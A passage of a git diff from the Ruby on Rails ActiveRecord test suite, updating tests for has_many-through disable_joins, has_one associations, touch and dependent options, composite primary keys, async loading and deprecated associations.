+    assert_queries_count(1) { @author.comments.count }
+  end
+
+  def test_counting_on_disable_joins_through_using_custom_foreign_key
+    assert_equal @author.comments_with_foreign_key.count, @author.no_joins_comments_with_foreign_key.count
+    assert_queries_count(2) { @author.no_joins_comments_with_foreign_key.count }
+    assert_queries_count(1) { @author.comments_with_foreign_key.count }
+  end
+
+  def test_pluck_on_disable_joins_through
+    assert_equal @author.comments.pluck(:id).sort, @author.no_joins_comments.pluck(:id).sort
+    assert_queries_count(2) { @author.no_joins_comments.pluck(:id) }
+    assert_queries_count(1) { @author.comments.pluck(:id) }
+  end
+
+  def test_pluck_on_disable_joins_through_using_custom_foreign_key
+    assert_equal @author.comments_with_foreign_key.pluck(:id).sort, @author.no_joins_comments_with_foreign_key.pluck(:id).sort
+    assert_queries_count(2) { @author.no_joins_comments_with_foreign_key.pluck(:id) }
+    assert_queries_count(1) { @author.comments_with_foreign_key.pluck(:id) }
+  end
+
+  def test_fetching_on_disable_joins_through
+    assert_equal @author.comments.first.id, @author.no_joins_comments.first.id
+    assert_queries_count(2) { @author.no_joins_comments.first.id }
+    assert_queries_count(1) { @author.comments.first.id }
+  end
+
+  def test_fetching_on_disable_joins_through_using_custom_foreign_key
+    assert_equal @author.comments_with_foreign_key.first.id, @author.no_joins_comments_with_foreign_key.first.id
+    assert_queries_count(2) { @author.no_joins_comments_with_foreign_key.first.id }
+    assert_queries_count(1) { @author.comments_with_foreign_key.first.id }
+  end
+
+  def test_to_a_on_disable_joins_through
+    assert_equal @author.comments.sort_by(&:id), @author.no_joins_comments.sort_by(&:id)
+    @author.reload
+    assert_queries_count(2) { @author.no_joins_comments.to_a }
+    assert_queries_count(1) { @author.comments.to_a }
+  end
+
+  def test_appending_on_disable_joins_through
+    assert_difference(->() { @author.no_joins_comments.reload.size }) do
+      @post.comments.create(body: "text")
+    end
+    assert_queries_count(2) { @author.no_joins_comments.reload.size }
+    assert_queries_count(1) { @author.comments.reload.size }
+  end
+
+  def test_appending_on_disable_joins_through_using_custom_foreign_key
+    assert_difference(->() { @author.no_joins_comments_with_foreign_key.reload.size }) do
+      @post.comments.create(body: "text")
+    end
+    assert_queries_count(2) { @author.no_joins_comments_with_foreign_key.reload.size }
+    assert_queries_count(1) { @author.comments_with_foreign_key.reload.size }
+  end
+
+  def test_empty_on_disable_joins_through
+    empty_author = authors(:bob)
+    assert_equal [], assert_queries_count(0) { empty_author.comments.all }
+    assert_equal [], assert_queries_count(1) { empty_author.no_joins_comments.all }
+  end
+
+  def test_empty_on_disable_joins_through_using_custom_foreign_key
+    empty_author = authors(:bob)
+    assert_equal [], assert_queries_count(0) { empty_author.comments_with_foreign_key.all }
+    assert_equal [], assert_queries_count(1) { empty_author.no_joins_comments_with_foreign_key.all }
+  end
+
+  def test_pluck_on_disable_joins_through_a_through
+    rating_ids = Rating.where(comment: @comment).pluck(:id).sort
+    assert_equal rating_ids, assert_queries_count(1) { @author.ratings.pluck(:id).sort }
+    assert_equal rating_ids, assert_queries_count(3) { @author.no_joins_ratings.pluck(:id).sort }
+  end
+
+  def test_count_on_disable_joins_through_a_through
+    ratings_count = Rating.where(comment: @comment).count
+    assert_equal ratings_count, assert_queries_count(1) { @author.ratings.count }
+    assert_equal ratings_count, assert_queries_count(3) { @author.no_joins_ratings.count }
+  end
+
+  def test_count_on_disable_joins_using_relation_with_scope
+    assert_equal 2, assert_queries_count(1) { @author.good_ratings.count }
+    assert_equal 2, assert_queries_count(3) { @author.no_joins_good_ratings.count }
+  end
+
+  def test_to_a_on_disable_joins_with_multiple_scopes
+    assert_equal [@rating1, @rating2], assert_queries_count(1) { @author.good_ratings.to_a }
+    assert_equal [@rating1, @rating2], assert_queries_count(3) { @author.no_joins_good_ratings.to_a }
+  end
+
+  def test_preloading_has_many_through_disable_joins
+    assert_queries_count(3) { Author.all.preload(:good_ratings).map(&:good_ratings) }
+    assert_queries_count(4) { Author.all.preload(:no_joins_good_ratings).map(&:good_ratings) }
+  end
+
+  def test_polymophic_disable_joins_through_counting
+    assert_equal 2, assert_queries_count(1) { @author.ordered_members.count }
+    assert_equal 2, assert_queries_count(3) { @author.no_joins_ordered_members.count }
+  end
+
+  def test_polymophic_disable_joins_through_ordering
+    assert_equal [@member2, @member], assert_queries_count(1) { @author.ordered_members.to_a }
+    assert_equal [@member2, @member], assert_queries_count(3) { @author.no_joins_ordered_members.to_a }
+  end
+
+  def test_polymorphic_disable_joins_through_reordering
+    assert_equal [@member, @member2], assert_queries_count(1) { @author.ordered_members.reorder(id: :asc).to_a }
+    assert_equal [@member, @member2], assert_queries_count(3) { @author.no_joins_ordered_members.reorder(id: :asc).to_a }
+  end
+
+  def test_polymorphic_disable_joins_through_ordered_scopes
+    assert_equal [@member2, @member], assert_queries_count(1) { @author.ordered_members.unnamed.to_a }
+    assert_equal [@member2, @member], assert_queries_count(3) { @author.no_joins_ordered_members.unnamed.to_a }
+  end
+
+  def test_polymorphic_disable_joins_through_ordered_chained_scopes
+    member3 = Member.create(member_type: @member_type)
+    member4 = Member.create(member_type: @member_type, name: "named")
+    @post2.comments.create(body: "text", origin: member3)
+    @post2.comments.create(body: "text", origin: member4)
+
+    assert_equal [member3, @member2, @member], assert_queries_count(1) { @author.ordered_members.unnamed.with_member_type_id(@member_type.id).to_a }
+    assert_equal [member3, @member2, @member], assert_queries_count(3) { @author.no_joins_ordered_members.unnamed.with_member_type_id(@member_type.id).to_a }
+  end
+
+  def test_polymorphic_disable_joins_through_ordered_scope_limits
+    assert_equal [@member2], assert_queries_count(1) { @author.ordered_members.unnamed.limit(1).to_a }
+    assert_equal [@member2], assert_queries_count(3) { @author.no_joins_ordered_members.unnamed.limit(1).to_a }
+  end
+
+  def test_polymorphic_disable_joins_through_ordered_scope_first
+    assert_equal @member2, assert_queries_count(1) { @author.ordered_members.unnamed.first }
+    assert_equal @member2, assert_queries_count(3) { @author.no_joins_ordered_members.unnamed.first }
+  end
+
+  def test_order_applied_in_double_join
+    assert_equal [@member2, @member], assert_queries_count(1) { @author.members.to_a }
+    assert_equal [@member2, @member], assert_queries_count(3) { @author.no_joins_members.to_a }
+  end
+
+  def test_first_and_scope_applied_in_double_join
+    assert_equal @member2, assert_queries_count(1) { @author.members.unnamed.first }
+    assert_equal @member2, assert_queries_count(3) { @author.no_joins_members.unnamed.first }
+  end
+
+  def test_first_and_scope_in_double_join_applies_order_in_memory
+    disable_joins_sql = capture_sql { @author.no_joins_members.unnamed.first }
+    assert_no_match(/ORDER BY/, disable_joins_sql.last)
+  end
+
+  def test_limit_and_scope_applied_in_double_join
+    assert_equal [@member2], assert_queries_count(1) { @author.members.unnamed.limit(1).to_a }
+    assert_equal [@member2], assert_queries_count(3) { @author.no_joins_members.unnamed.limit(1) }
+  end
+
+  def test_limit_and_scope_in_double_join_applies_limit_in_memory
+    disable_joins_sql = capture_sql { @author.no_joins_members.unnamed.first }
+    assert_no_match(/LIMIT 1/, disable_joins_sql.last)
+  end
+end
diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb
index 7c11d2e7fc209..a5fd34c2fe158 100644
--- a/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -1,48 +1,65 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "support/deprecated_associations_test_helpers"
 require "models/developer"
 require "models/computer"
 require "models/project"
 require "models/company"
 require "models/ship"
 require "models/pirate"
+require "models/person"
 require "models/car"
 require "models/bulb"
 require "models/author"
 require "models/image"
 require "models/post"
+require "models/drink_designer"
+require "models/chef"
+require "models/department"
+require "models/club"
+require "models/membership"
+require "models/parrot"
+require "models/cpk"
+require "models/room"
+require "models/user"
+require "models/dats"
 
 class HasOneAssociationsTest < ActiveRecord::TestCase
   self.use_transactional_tests = false unless supports_savepoints?
-  fixtures :accounts, :companies, :developers, :projects, :developers_projects, :ships, :pirates
+  fixtures :accounts, :companies, :developers, :projects, :developers_projects,
+           :ships, :pirates, :authors, :author_addresses, :books, :memberships, :clubs
 
   def setup
     Account.destroyed_account_ids.clear
   end
 
   def test_has_one
-    assert_equal companies(:first_firm).account, Account.find(1)
-    assert_equal Account.find(1).credit_limit, companies(:first_firm).account.credit_limit
+    firm = companies(:first_firm)
+    first_account = Account.find(1)
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) do
+      assert_equal first_account, firm.account
+      assert_equal first_account.credit_limit, firm.account.credit_limit
+    end
   end
 
   def test_has_one_does_not_use_order_by
-    ActiveRecord::SQLCounter.clear_log
-    companies(:first_firm).account
-  ensure
-    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, "ORDER BY was used in the query"
+    sql_log = capture_sql { companies(:first_firm).account }
+    assert sql_log.all? { |sql| !/order by/i.match?(sql) }, "ORDER BY was used in the query: #{sql_log}"
   end
 
   def test_has_one_cache_nils
     firm = companies(:another_firm)
-    assert_queries(1) { assert_nil firm.account }
-    assert_queries(0) { assert_nil firm.account }
+    assert_queries_count(1) { assert_nil firm.account }
+    assert_no_queries { assert_nil firm.account }
 
-    firms = Firm.all.merge!(includes: :account).to_a
-    assert_queries(0) { firms.each(&:account) }
+    firms = Firm.includes(:account).to_a
+    assert_no_queries { firms.each(&:account) }
   end
 
   def test_with_select
-    assert_equal Firm.find(1).account_with_select.attributes.size, 2
-    assert_equal Firm.all.merge!(includes: :account_with_select).find(1).account_with_select.attributes.size, 2
+    assert_equal 2, Firm.find(1).account_with_select.attributes.size
+    assert_equal 2, Firm.all.merge!(includes: :account_with_select).find(1).account_with_select.attributes.size
   end
 
   def test_finding_using_primary_key
@@ -107,12 +124,38 @@ def test_nullification_on_association_change
     assert_nil Account.find(old_account_id).firm_id
   end
 
+  def test_nullify_on_polymorphic_association
+    department = Department.create!
+    designer = DrinkDesignerWithPolymorphicDependentNullifyChef.create!
+    chef = department.chefs.create!(employable: designer)
+
+    assert_equal chef.employable_id, designer.id
+    assert_equal chef.employable_type, designer.class.name
+
+    designer.destroy!
+    chef.reload
+
+    assert_nil chef.employable_id
+    assert_nil chef.employable_type
+  end
+
   def test_nullification_on_destroyed_association
     developer = Developer.create!(name: "Someone")
     ship = Ship.create!(name: "Planet Caravan", developer: developer)
     ship.destroy
-    assert !ship.persisted?
-    assert !developer.persisted?
+    assert_not_predicate ship, :persisted?
+    assert_not_predicate developer, :persisted?
+  end
+
+  def test_nullification_on_cpk_association
+    book = Cpk::Book.create!(id: [1, 2])
+    other_book = Cpk::Book.create!(id: [3, 4])
+    order = Cpk::OrderWithNullifiedBook.create!(book: book)
+
+    order.book = other_book
+
+    assert_nil book.order_id
+    assert_nil book.shop_id
   end
 
   def test_natural_assignment_to_nil_after_destroy
@@ -183,7 +226,7 @@ def test_restrict_with_exception
 
     assert_raise(ActiveRecord::DeleteRestrictionError) { firm.destroy }
     assert RestrictedWithExceptionFirm.exists?(name: "restrict")
-    assert firm.account.present?
+    assert_predicate firm.account, :present?
   end
 
   def test_restrict_with_error
@@ -194,10 +237,10 @@ def test_restrict_with_error
 
     firm.destroy
 
-    assert !firm.errors.empty?
+    assert_not_empty firm.errors
     assert_equal "Cannot delete record because a dependent account exists", firm.errors[:base].first
     assert RestrictedWithErrorFirm.exists?(name: "restrict")
-    assert firm.account.present?
+    assert_predicate firm.account, :present?
   end
 
   def test_restrict_with_error_with_locale
@@ -210,10 +253,10 @@ def test_restrict_with_error_with_locale
 
     firm.destroy
 
-    assert !firm.errors.empty?
+    assert_not_empty firm.errors
     assert_equal "Cannot delete record because a dependent firm account exists", firm.errors[:base].first
     assert RestrictedWithErrorFirm.exists?(name: "restrict")
-    assert firm.account.present?
+    assert_predicate firm.account, :present?
   ensure
     I18n.backend.reload!
   end
@@ -228,9 +271,10 @@ def test_successful_build_association
   end
 
   def test_build_association_dont_create_transaction
-    assert_no_queries(ignore_none: false) {
-      Firm.new.build_account
-    }
+    firm = Firm.new
+    assert_queries_count(0) do
+      firm.build_account
+    end
   end
 
   def test_building_the_associated_object_with_implicit_sti_base_class
@@ -281,6 +325,19 @@ def test_create_association
     assert_equal account, firm.reload.account
   end
 
+  def test_clearing_an_association_clears_the_associations_inverse
+    author = Author.create(name: "Jimmy Tolkien")
+    post = author.create_post(title: "The silly medallion", body: "")
+    assert_equal post, author.post
+    assert_equal author, post.author
+
+    post.update!(author: nil)
+    assert_nil post.author
+
+    author.update!(name: "J.R.R. Tolkien")
+    assert_nil post.author
+  end
+
   def test_create_association_with_bang
     firm = Firm.create(name: "GlobalMegaCorp")
     account = firm.create_account!(credit_limit: 1000)
@@ -307,6 +364,16 @@ def test_create_with_inexistent_foreign_key_failing
     end
   end
 
+  def test_create_when_parent_is_new_raises
+    firm = Firm.new
+    error = assert_raise(ActiveRecord::RecordNotSaved) do
+      firm.create_account
+    end
+
+    assert_equal "You cannot call create unless the parent is saved", error.message
+    assert_equal firm, error.record
+  end
+
   def test_reload_association
     odegy = companies(:odegy)
 
@@ -314,7 +381,45 @@ def test_reload_association
     Account.where(id: odegy.account.id).update_all(credit_limit: 80)
     assert_equal 53, odegy.account.credit_limit
 
-    assert_equal 80, odegy.reload_account.credit_limit
+    assert_queries_count(1) { odegy.reload_account }
+    assert_no_queries { odegy.account }
+    assert_equal 80, odegy.account.credit_limit
+  end
+
+  def test_reload_association_with_query_cache
+    odegy_id = companies(:odegy).id
+
+    connection = ActiveRecord::Base.lease_connection
+    connection.enable_query_cache!
+    connection.clear_query_cache
+
+    # Populate the cache with a query
+    odegy = Company.find(odegy_id)
+    # Populate the cache with a second query
+    odegy.account
+
+    assert_equal 2, connection.query_cache.size
+
+    # Clear the cache and fetch the account again, populating the cache with a query
+    assert_queries_count(1) { odegy.reload_account }
+
+    # This query is not cached anymore, so it should make a real SQL query
+    assert_queries_count(1) { Company.find(odegy_id) }
+  ensure
+    ActiveRecord::Base.lease_connection.disable_query_cache!
+  end
+
+  def test_reset_association
+    odegy = companies(:odegy)
+
+    assert_equal 53, odegy.account.credit_limit
+    Account.where(id: odegy.account.id).update_all(credit_limit: 80)
+    assert_equal 53, odegy.account.credit_limit
+
+    assert_no_queries { odegy.reset_account }
+
+    assert_queries_count(1) { odegy.account }
+    assert_equal 80, odegy.account.credit_limit
   end
 
   def test_build
@@ -365,7 +470,7 @@ def test_finding_with_interpolated_condition
   def test_assignment_before_child_saved
     firm = Firm.find(1)
     firm.account = a = Account.new("credit_limit" => 1000)
-    assert a.persisted?
+    assert_predicate a, :persisted?
     assert_equal a, firm.account
     assert_equal a, firm.account
     firm.association(:account).reload
@@ -383,7 +488,7 @@ def test_save_still_works_after_accessing_nil_has_one
 
   def test_cant_save_readonly_association
     assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_firm).readonly_account.save!  }
-    assert companies(:first_firm).readonly_account.readonly?
+    assert_predicate companies(:first_firm).readonly_account, :readonly?
   end
 
   def test_has_one_proxy_should_not_respond_to_private_methods
@@ -392,8 +497,10 @@ def test_has_one_proxy_should_not_respond_to_private_methods
   end
 
   def test_has_one_proxy_should_respond_to_private_methods_via_send
-    accounts(:signals37).send(:private_method)
-    companies(:first_firm).account.send(:private_method)
+    assert_nothing_raised do
+      accounts(:signals37).send(:private_method)
+      companies(:first_firm).account.send(:private_method)
+    end
   end
 
   def test_save_of_record_with_loaded_has_one
@@ -421,16 +528,16 @@ def test_build_respects_hash_condition
 
   def test_create_respects_hash_condition
     account = companies(:first_firm).create_account_limit_500_with_hash_conditions
-    assert       account.persisted?
+    assert_predicate account, :persisted?
     assert_equal 500, account.credit_limit
   end
 
   def test_attributes_are_being_set_when_initialized_from_has_one_association_with_where_clause
     new_account = companies(:first_firm).build_account(firm_name: "Account")
-    assert_equal new_account.firm_name, "Account"
+    assert_equal "Account", new_account.firm_name
   end
 
-  def test_creation_failure_without_dependent_option
+  def test_creation_failure_replaces_existing_without_dependent_option
     pirate = pirates(:blackbeard)
     orig_ship = pirate.ship
 
@@ -438,18 +545,20 @@ def test_creation_failure_without_dependent_option
     new_ship = pirate.create_ship
     assert_not_equal ships(:black_pearl), new_ship
     assert_equal new_ship, pirate.ship
-    assert new_ship.new_record?
+    assert_predicate new_ship, :new_record?
+    assert_predicate new_ship, :invalid?
     assert_nil orig_ship.pirate_id
-    assert !orig_ship.changed? # check it was saved
+    assert_not orig_ship.changed? # check it was saved
   end
 
-  def test_creation_failure_with_dependent_option
+  def test_creation_failure_replaces_existing_with_dependent_option
     pirate = pirates(:blackbeard).becomes(DestructivePirate)
     orig_ship = pirate.dependent_ship
 
     new_ship = pirate.create_dependent_ship
-    assert new_ship.new_record?
-    assert orig_ship.destroyed?
+    assert_predicate new_ship, :new_record?
+    assert_predicate new_ship, :invalid?
+    assert_predicate orig_ship, :destroyed?
   end
 
   def test_creation_failure_due_to_new_record_should_raise_error
@@ -461,6 +570,7 @@ def test_creation_failure_due_to_new_record_should_raise_error
     end
 
     assert_equal "Failed to save the new associated ship.", error.message
+    assert_equal new_ship, error.record
     assert_nil pirate.ship
     assert_nil new_ship.pirate_id
   end
@@ -469,7 +579,7 @@ def test_replacement_failure_due_to_existing_record_should_raise_error
     pirate = pirates(:blackbeard)
     pirate.ship.name = nil
 
-    assert !pirate.ship.valid?
+    assert_not_predicate pirate.ship, :valid?
     error = assert_raise(ActiveRecord::RecordNotSaved) do
       pirate.ship = ships(:interceptor)
     end
@@ -478,6 +588,7 @@ def test_replacement_failure_due_to_existing_record_should_raise_error
     assert_equal pirate.id, pirate.ship.pirate_id
     assert_equal "Failed to remove the existing associated ship. " \
                  "The record failed to save after its foreign key was set to nil.", error.message
+    assert_equal pirate.ship, error.record
   end
 
   def test_replacement_failure_due_to_new_record_should_raise_error
@@ -489,6 +600,7 @@ def test_replacement_failure_due_to_new_record_should_raise_error
     end
 
     assert_equal "Failed to save the new associated ship.", error.message
+    assert_equal new_ship, error.record
     assert_equal ships(:black_pearl), pirate.ship
     assert_equal pirate.id, pirate.ship.pirate_id
     assert_equal pirate.id, ships(:black_pearl).reload.pirate_id
@@ -565,7 +677,7 @@ def test_has_one_transaction
     company.account = nil
     assert_no_queries { company.account = nil }
     account = Account.find(2)
-    assert_queries { company.account = account }
+    assert_queries_count(3) { company.account = account }
 
     assert_no_queries { Firm.new.account = account }
   end
@@ -576,8 +688,8 @@ def test_has_one_assignment_dont_trigger_save_on_change_of_same_object
     ship.save!
 
     ship.name = "new name"
-    assert ship.changed?
-    assert_queries(1) do
+    assert_predicate ship, :changed?
+    assert_queries_count(3) do
       # One query for updating name, not triggering query for updating pirate_id
       pirate.ship = ship
     end
@@ -591,7 +703,7 @@ def test_has_one_assignment_triggers_save_on_change_on_replacing_object
     ship.save!
 
     new_ship = Ship.create(name: "new name")
-    assert_queries(2) do
+    assert_queries_count(4) do
       # One query to nullify the old ship, one query to update the new ship
       pirate.ship = new_ship
     end
@@ -633,6 +745,7 @@ def test_with_polymorphic_has_one_with_custom_columns_name
     post.reload
 
     assert_equal image, post.main_image
+    assert_equal post, image.imageable
   end
 
   test "dangerous association name raises ArgumentError" do
@@ -645,10 +758,86 @@ def test_with_polymorphic_has_one_with_custom_columns_name
     end
   end
 
+  def test_has_one_with_touch_option_on_create
+    assert_queries_count(5) {
+      Club.create(name: "1000 Oaks", membership_attributes: { favorite: true })
+    }
+  end
+
+  def test_polymorphic_has_one_with_touch_option_on_create_wont_cache_association_so_fetching_after_transaction_commit_works
+    assert_queries_count(6) {
+      chef = Chef.create(employable: DrinkDesignerWithPolymorphicTouchChef.new)
+      employable = chef.employable
+
+      assert_equal chef, employable.chef
+    }
+  end
+
+  def test_polymorphic_has_one_with_touch_option_on_update_will_touch_record_by_fetching_from_database_if_needed
+    DrinkDesignerWithPolymorphicTouchChef.create(chef: Chef.new)
+    designer = DrinkDesignerWithPolymorphicTouchChef.last
+
+    assert_queries_count(5) {
+      designer.update(name: "foo")
+    }
+  end
+
+  def test_has_one_with_touch_option_on_update
+    new_club = Club.create(name: "1000 Oaks")
+    new_club.create_membership
+
+    assert_queries_count(4) { new_club.update(name: "Effingut") }
+  end
+
+  def test_has_one_with_touch_option_on_touch
+    new_club = Club.create(name: "1000 Oaks")
+    new_club.create_membership
+
+    assert_queries_count(3) { new_club.touch }
+  end
+
+  def test_has_one_with_touch_option_on_destroy
+    new_club = Club.create(name: "1000 Oaks")
+    new_club.create_membership
+
+    assert_queries_count(4) { new_club.destroy }
+  end
+
+  def test_has_one_with_touch_option_on_empty_update
+    new_club = Club.create(name: "1000 Oaks")
+    new_club.create_membership
+
+    assert_no_queries { new_club.save }
+  end
+
+  def test_has_one_double_belongs_to_destroys_both_from_either_end
+    landlord = User.create!
+    tenant = User.create!
+    room = Room.create!(landlord: landlord, tenant: tenant)
+
+    landlord.destroy!
+
+    assert_predicate(room, :destroyed?)
+    assert_predicate(landlord, :destroyed?)
+    assert_predicate(tenant, :destroyed?)
+
+    landlord = User.create!
+    tenant = User.create!
+    room = Room.create!(landlord: landlord, tenant: tenant)
+
+    tenant.destroy!
+
+    assert_predicate(room, :destroyed?)
+    assert_predicate(tenant, :destroyed?)
+    assert_predicate(landlord, :destroyed?)
+  end
+
   class SpecialBook < ActiveRecord::Base
     self.table_name = "books"
     belongs_to :author, class_name: "SpecialAuthor"
-    has_one :subscription, class_name: "SpecialSupscription", foreign_key: "subscriber_id"
+    has_one :subscription, class_name: "SpecialSubscription", foreign_key: "subscriber_id"
+
+    enum :status, [:proposed, :written, :published]
   end
 
   class SpecialAuthor < ActiveRecord::Base
@@ -656,7 +845,7 @@ class SpecialAuthor < ActiveRecord::Base
     has_one :book, class_name: "SpecialBook", foreign_key: "author_id"
   end
 
-  class SpecialSupscription < ActiveRecord::Base
+  class SpecialSubscription < ActiveRecord::Base
     self.table_name = "subscriptions"
     belongs_to :book, class_name: "SpecialBook"
   end
@@ -666,7 +855,8 @@ def test_association_enum_works_properly
     book = SpecialBook.create!(status: "published")
     author.book = book
 
-    refute_equal 0, SpecialAuthor.joins(:book).where(books: { status: "published" }).count
+    assert_equal "published", book.status
+    assert_not_equal 0, SpecialAuthor.joins(:book).where(books: { status: "published" }).count
   end
 
   def test_association_enum_works_properly_with_nested_join
@@ -679,4 +869,265 @@ def test_association_enum_works_properly_with_nested_join
       SpecialAuthor.joins(book: :subscription).where.not(where_clause)
     end
   end
+
+  class DestroyByParentBook < ActiveRecord::Base
+    self.table_name = "books"
+    belongs_to :author, class_name: "DestroyByParentAuthor"
+    before_destroy :dont, unless: :destroyed_by_association
+
+    def dont
+      throw(:abort)
+    end
+  end
+
+  class DestroyByParentAuthor < ActiveRecord::Base
+    self.table_name = "authors"
+    has_one :book, class_name: "DestroyByParentBook", foreign_key: "author_id", dependent: :destroy
+  end
+
+  test "destroyed_by_association set in child destroy callback on parent destroy" do
+    author = DestroyByParentAuthor.create!(name: "Test")
+    book = DestroyByParentBook.create!(author: author)
+
+    author.destroy
+
+    assert_not DestroyByParentBook.exists?(book.id)
+  end
+
+  test "destroyed_by_association set in child destroy callback on replace" do
+    author = DestroyByParentAuthor.create!(name: "Test")
+    book = DestroyByParentBook.create!(author: author)
+
+    author.book = DestroyByParentBook.create!
+    author.save!
+
+    assert_not DestroyByParentBook.exists?(book.id)
+  end
+
+  class UndestroyableBook < ActiveRecord::Base
+    self.table_name = "books"
+    belongs_to :author, class_name: "DestroyableAuthor"
+    before_destroy :dont
+
+    def dont
+      throw(:abort)
+    end
+  end
+
+  class DestroyableAuthor < ActiveRecord::Base
+    self.table_name = "authors"
+    has_one :book, class_name: "UndestroyableBook", foreign_key: "author_id", dependent: :destroy
+  end
+
+  def test_dependency_should_halt_parent_destruction
+    author = DestroyableAuthor.create!(name: "Test")
+    UndestroyableBook.create!(author: author)
+
+    assert_no_difference ["DestroyableAuthor.count", "UndestroyableBook.count"] do
+      assert_not author.destroy
+    end
+  end
+
+  class SpecialCar < ActiveRecord::Base
+    self.table_name = "cars"
+    has_one :special_bulb, inverse_of: :car, dependent: :destroy, class_name: "SpecialBulb", foreign_key: "car_id"
+  end
+
+  class SpecialBulb < ActiveRecord::Base
+    self.table_name = "bulbs"
+    belongs_to :car, inverse_of: :special_bulb, touch: true, class_name: "SpecialCar"
+  end
+
+  def test_has_one_with_touch_option_on_nonpersisted_built_associations_doesnt_update_parent
+    car = SpecialCar.create(name: "honda")
+    assert_queries_count(1) do
+      car.build_special_bulb
+      car.build_special_bulb
+    end
+  end
+  test "composite primary key malformed association class" do
+    error = assert_raises(ActiveRecord::CompositePrimaryKeyMismatchError) do
+      order = Cpk::BrokenOrder.new(id: [1, 2], book: Cpk::Book.new(title: "Some book"))
+      order.save!
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+      Association Cpk::BrokenOrder#book primary key ["shop_id", "status"]
+      doesn't match with foreign key broken_order_id. Please specify query_constraints, or primary_key and foreign_key values.
+    MESSAGE
+  end
+
+  test "composite primary key malformed association owner class" do
+    error = assert_raises(ActiveRecord::CompositePrimaryKeyMismatchError) do
+      order = Cpk::BrokenOrderWithNonCpkBooks.new(id: [1, 2], book: Cpk::NonCpkBook.new(title: "Some book"))
+      order.save!
+    end
+
+    assert_equal(<<~MESSAGE.squish, error.message)
+      Association Cpk::BrokenOrderWithNonCpkBooks#book primary key [\"shop_id\", \"status\"]
+      doesn't match with foreign key broken_order_with_non_cpk_books_id. Please specify query_constraints, or primary_key and foreign_key values.
+    MESSAGE
+  end
+end
+
+class AsyncHasOneAssociationsTest < ActiveRecord::TestCase
+  include WaitForAsyncTestHelper
+
+  self.use_transactional_tests = false
+
+  fixtures :companies, :accounts
+
+  unless in_memory_db?
+    def test_async_load_has_one
+      firm = companies(:first_firm)
+      first_account = Account.find(1)
+
+      firm.association(:account).async_load_target
+      wait_for_async_query
+
+      events = []
+      callback = -> (event) do
+        events << event unless event.payload[:name] == "SCHEMA"
+      end
+      ActiveSupport::Notifications.subscribed(callback, "sql.active_record") do
+        firm.account
+      end
+
+      assert_no_queries do
+        assert_equal first_account, firm.account
+        assert_equal first_account.credit_limit, firm.account.credit_limit
+      end
+
+      assert_equal 1, events.size
+      assert_equal true, events.first.payload[:async]
+    end
+  end
+end
+
+class DeprecatedHasOneAssociationsTest < ActiveRecord::TestCase
+  include DeprecatedAssociationsTestHelpers
+
+  fixtures :cars
+
+  def create_bulb!
+    @bulb = @car.create_bulb!(name: "for has_one deprecated test suite")
+  end
+
+  def modify_bulb_name_directly_in_the_database(bulb)
+    new_name = "#{bulb.name} edited"
+    DATS::Bulb.connection.execute("UPDATE bulbs SET name = '#{new_name}'")
+    new_name
+  end
+
+  setup do
+    @model = DATS::Car
+    @car = @model.first
+  end
+
+  test "<association>" do
+    create_bulb!
+
+    assert_not_deprecated_association(:bulb) do
+      @car.bulb
+    end
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:deprecated_bulb)) do
+      assert_equal @bulb, @car.deprecated_bulb
+    end
+  end
+
+  test "<association>=" do
+    bulb = DATS::Bulb.new
+
+    assert_not_deprecated_association(:bulb) do
+      @car.bulb = bulb
+    end
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:deprecated_bulb=)) do
+      @car.deprecated_bulb = bulb
+    end
+    assert_same bulb, @car.deprecated_bulb
+  end
+
+  test "reload_<association>" do
+    create_bulb!
+
+    assert_not_deprecated_association(:bulb) do
+      @car.reload_bulb
+    end
+
+    deprecated_bulb = @car.deprecated_bulb # caches the associated object
+    new_name = modify_bulb_name_directly_in_the_database(deprecated_bulb)
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:reload_deprecated_bulb)) do
+      assert_equal new_name, @car.reload_deprecated_bulb.name
+    end
+  end
+
+  test "reset_<association>" do
+    create_bulb!
+
+    assert_not_deprecated_association(:bulb) do
+      @car.reset_bulb
+    end
+
+    deprecated_bulb = @car.deprecated_bulb # caches the associated object
+    new_name = modify_bulb_name_directly_in_the_database(deprecated_bulb)
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:reset_deprecated_bulb)) do
+      @car.reset_deprecated_bulb
+    end
+    assert_equal new_name, @car.deprecated_bulb.name
+  end
+
+  test "build_<association>" do
+    assert_not_deprecated_association(:bulb) do
+      @car.build_bulb
+    end
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:build_deprecated_bulb)) do
+      assert_instance_of DATS::Bulb, @car.build_deprecated_bulb
+    end
+  end
+
+  test "create_<association>" do
+    assert_not_deprecated_association(:bulb) do
+      @car.create_bulb
+    end
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:create_deprecated_bulb)) do
+      assert_predicate @car.create_deprecated_bulb, :persisted?
+    end
+  end
+
+  test "create_<association>!" do
+    assert_not_deprecated_association(:bulb) do
+      @car.create_bulb!
+    end
+
+    assert_deprecated_association(:deprecated_bulb, context: context_for_method(:create_deprecated_bulb!)) do
+      @car.create_deprecated_bulb!
+    end
+    assert_predicate @car.deprecated_bulb, :persisted?
+  end
+
+  test "parent destroy (not deprecated)" do
+    create_bulb!
+
+    assert_not_deprecated_association(:bulb) do
+      @car.destroy
+    end
+    assert_predicate @car, :destroyed?
+  end
+
+  test "parent destroy (deprecated)" do
+    create_bulb!
+
+    deprecated_bulb = @car.deprecated_bulb
+    assert_deprecated_association(:deprecated_bulb, context: context_for_dependent) do
+      @car.destroy
+    end
+    assert_predicate @car, :destroyed?
+    assert_predicate deprecated_bulb, :destroyed?
+  end
 end
diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb
index 38a729d2d4a5b..f7e9c50e30f4c 100644
--- a/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb
